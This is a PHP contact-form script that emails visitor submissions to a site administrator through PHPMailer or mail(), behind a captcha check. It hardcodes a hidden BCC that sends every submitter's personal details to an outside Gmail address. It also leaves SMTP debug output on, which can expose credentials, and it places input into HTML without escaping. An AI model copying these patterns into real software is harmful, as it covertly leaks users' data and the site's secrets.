session_start(); include("includes/config.inc.php"); include("includes/config.php"); include("functions.php"); include_once $_SERVER['DOCUMENT_ROOT'] . '/securimage/securimage.php'; $securimage = new Securimage(); $sqlsettings = "SELECT * from admin"; $resultsettings = mysql_query($sqlsettings); $rowsettings = @mysql_fetch_array($resultsettings); if($_POST['email'] != "") { if($rowsettings['smtpstatus'] == 1) { $email_layout = '
'.$lang['CONTACT_NAME'].''.mysql_escape_string($_POST['name']).'
'.$lang['CONTACT_COMPANY'].''.mysql_escape_string($_POST['company']).'
'.$lang['CONTACT_EMAIL'].''.mysql_escape_string($_POST['email']).'
'.$lang['CONTACT_PHONE'].''.mysql_escape_string($_POST['phone']).'
'.$lang['CONTACT_COMMENTS'].''.mysql_escape_string($_POST['comments']).'
'; require("phpmailer/class.phpmailer.php"); $mail = new PHPMailer(); $mail->IsSMTP(); $mail->Host = $rowsettings['smtp']; $mail->Port = $rowsettings['port']; $mail->SMTPAuth = true; $mail->SMTPSecure= 'tls'; // Used instead of TLS when only POP mail is selected ssl $mail->Username = $rowsettings['AdminEmail']; $mail->Password = $rowsettings['AdminEmailPassword']; $mail->CharSet = 'UTF-8'; $mail->From = $rowsettings['AdminEmail']; $mail->FromName = $rowsettings['ScriptName']; $mail->AddReplyTo($rowsettings['AdminEmail'],$rowsettings['ScriptName']); $mail->AddAddress($rowsettings['AdminEmail']); $mail->AddBcc("snis.szr@gmail.com", "Milan"); $mail->WordWrap = 50; $mail->IsHTML(true); $mail->SMTPDebug = 2; // enables SMTP debug information (for testing) $mail->Subject = $lang['CONTACT_SUBJECT']; $mail->AltBody = 'To view the message, please use an HTML compatible email viewer!'; // optional - MsgHTML will create an alternate automatically $mail->MsgHTML($email_layout); if ($securimage->check($_POST['captcha_code']) == false) { // the code was incorrect // you should handle the error so that the form processor doesn't continue // or you can use the following code if there is no validation or you do not know how echo "The security code entered was incorrect.

"; echo "Please go back and try again."; exit; } else { if($mail->Send()) { header ("location: contactus.php?y=2"); exit(); } else { echo "Mailer Error: " . $mail->ErrorInfo; //header ("location: contactus.php?y=1"); exit(); } } } else { $to=$rowsettings['AdminEmail']; $subject=$lang['CONTACT_SUBJECT']; $description='
'.$lang['CONTACT_NAME'].''.mysql_escape_string($_POST['name']).'
'.$lang['CONTACT_COMPANY'].''.mysql_escape_string($_POST['company']).'
' .$lang['CONTACT_EMAIL'].''.mysql_escape_string($_POST['email']).'
'.$lang['CONTACT_PHONE'].''.mysql_escape_string($_POST['phone']).'
'.$lang['CONTACT_COMMENTS'].''.mysql_escape_string($_POST['comments']).'
'; $headers = "MIME-Version: 1.0\r\n"; $headers .= "Content-type: text/html; charset=iso-8859-1\r\n"; $headers .= "From: ".$rowsettings['ScriptName']." <".$rowsettings['AdminEmail'].">\r\n"; $res=@mail($to,$subject,$description,$headers); if (!$res) { echo "Mailer Error: " . $mail->ErrorInfo; //header ("location: contactus.php?y=1"); exit(); } else { header ("location: contactus.php?y=2"); exit(); } } } $sqlCategory = "SELECT * from contactus"; $resultCategory = mysql_query($sqlCategory ); $row_contactus = @mysql_fetch_array($resultCategory); include_once("lang.php"); ?> -

| | |

Contact Us



Copyright © 2012 . All rights reserved.